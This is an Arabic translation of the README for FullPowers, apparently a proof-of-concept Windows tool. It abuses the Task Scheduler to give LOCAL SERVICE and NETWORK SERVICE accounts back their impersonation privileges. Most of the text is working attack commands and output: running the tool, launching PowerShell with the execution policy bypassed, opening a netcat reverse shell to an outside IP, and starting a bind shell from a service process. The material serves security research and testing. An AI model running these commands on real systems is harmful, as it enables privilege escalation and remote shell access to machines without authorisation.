FullPowers هي أداة لإثبات المفهوم قمت بإنشائها لاسترداد مجموعة الامتيازات الافتراضية لحساب الخدمة تلقائيًا بما في ذلك SeAssignPrimaryToken و SeImpersonate .
في نظام التشغيل Windows، يتم تكوين بعض الخدمات التي يتم تنفيذها LOCAL SERVICE
أو NETWORK SERVICE
لتعمل مع مجموعة مقيدة من الامتيازات . لذلك، حتى لو تم اختراق الخدمة، فلن تحصل على امتيازات الانتحال الذهبية، ويجب أن يكون تصعيد الامتيازات إلى LOCAL SYSTEM
أكثر تعقيدًا. ومع ذلك، وجدت أنه عند إنشاء مهمة مجدولة ، فإن العملية الجديدة التي تم إنشاؤها بواسطة خدمة جدولة المهام تتمتع بجميع الامتيازات الافتراضية لحساب المستخدم المرتبط (باستثناء SeImpersonate ). لذلك، مع بعض عمليات التلاعب بالرموز، يمكنك إنتاج عملية جديدة مع كافة الامتيازات المفقودة.
الاستخدام
LOCAL SERVICE
أو NETWORK SERVICE
فقط.
يمكنك التحقق من رسالة المساعدة باستخدام الخيار -h
.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
هل تريد اختبار إثبات المفهوم (PoC) هذا بنفسك؟ هذا عظيم! فيما يلي بعض الإرشادات البسيطة للبدء.
الفكرة العامة هي بدء عملية ربط من عملية خدمة موجودة، والاتصال بها ثم تشغيل الملف القابل للتنفيذ.
ستحتاج إلى أداتين تابعتين لجهة خارجية، netcat وRunFromProcess.
اختر خدمة ذات امتيازات محدودة، على سبيل المثال: upnphost
.
افتح " إدارة المهام" ، وانتقل إلى علامة التبويب "الخدمات" واحصل على معرف المنتج (PID) للعملية المقابلة.
استخدم الأمر التالي لبدء bindshell كمسؤول :
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
استخدم الأمر التالي للاتصال بـ bindshell:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
يمكننا أن نرى أن العملية الحالية لا تحتوي على امتيازات انتحال الهوية. الآن قم بتشغيل PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
يجب أن يكون لديك الآن غلاف يتمتع بامتيازات انتحال الشخصية !